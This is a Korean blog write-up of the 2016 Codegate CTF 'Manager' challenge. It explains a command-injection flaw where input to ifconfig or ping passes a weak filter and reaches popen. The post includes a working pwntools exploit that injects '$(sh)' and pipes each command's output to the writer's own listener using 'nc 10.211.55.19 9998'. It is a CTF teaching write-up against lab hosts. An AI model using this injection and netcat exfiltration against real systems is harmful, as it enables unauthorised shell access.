2016 Codegate Manager writeup
by St1tch
이런 문제이다.
직접 서버의 몇개의 명령어를 popen을 통해 실행 시킬 수 있고,
user의 정보를 삽입, 수정, 확인 할 수 있다.
문제를 풀때는 insert, modify, show 쪽을 뒤져서 공격을 하려고 삽질을 많이 했다.
특히 64bit고 중간에 헷갈리게 많이 해놔서 찾는데 오래 걸렸다....
취약점은 명령어 중에 ifconfig를 실행하면 입력을 한번 더 받는다.
이상하다. ifconfig는 보통 옵션없이 많이 쓰기 때문에 ida로 살펴 보았다.

빨간색 네모부분이 명령어를 실행 시키는 부분인데
check함수에 들어가보면 여러가지 ascii문자들이 필터링 되어있다.
근데 $,(,),등이 빠져있다.
strcat을 이용해 ifconfig+입력한 문자열을 실행시키기 때문에
ifconfig$(sh)
이렇게 입력을 하면 명령어를 입력은 시킬 수 있지만 출력을 받을 수가 없다.
따라서 명령의 결과를 다시 서버로 받아 출력을 하면 결과를 볼 수 있다.
나는 쓰레드를 이용해 공격자의 소켓으로 서버의 출력을 받아서 바로 출력했다.

위의 ifconfig말고도 명령어 table을 보면 여러 명령어가 있는데 살펴보다 보면 ping에도 유사한 기능이 숨겨져있다.

BYTE6(a14)가 0이 되면 ifconfig와 똑같이 명령어 뒤에 문자열을 넣을 수 있다.
저 BYTE(a14)를 찾아보면 memo를 modify하는 곳에서 0으로 만들 수 있다.

실제로 가리키는 값을 따라가보면 modify에서 BYTE6(a13)와 ping에서의 BYTE(a14)와 같다.
따라서 strchr(s, '\n')은 아무거나 입력해도 통과하므로 메모에 아무거나쓰고 그냥 수정한번해주고 ping명령을 하면
ifconfig와 동일하게 $(sh)를 붙여 원하는 명령어를 전달할 수 있다.
아래 페이로드는 ifconfig를 이용 한것이다.
ping은 그냥 바로 실행해도 될만큼 간단해서 따로 작성안했다.
from pwn import * import socket import threading #socket receiver def receiver() : ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ss.bind( ( '10.211.55.19' , 9998) ) ss.listen(1) while(True) : conn, addr = ss.accept() print conn.recv(1024) conn.close() threading.Thread(target=receiver).start() #exploit s = remote('10.211.55.37', 9999) s.recvuntil('[Y/N]') s.sendline('y') s.recvuntil('id') s.sendline('stitch') s.recvuntil('pw') s.sendline('pwn') s.recvuntil('retype') s.sendline('pwn') s.recvuntil('choice') s.sendline('1') s.recvuntil('shell') s.sendline('if') s.recvuntil('ifconfig') s.sendline('$(sh)') #get shell sleep(0.5) while(True) : msg = raw_input('$ ') s.sendline( msg.rstrip() + ' | nc 10.211.55.19 9998')
서버쪽 명령의 출력이 소켓으로와서 잘 출력해준다.
블로그의 정보
튜기's blogg(st1tch)
St1tch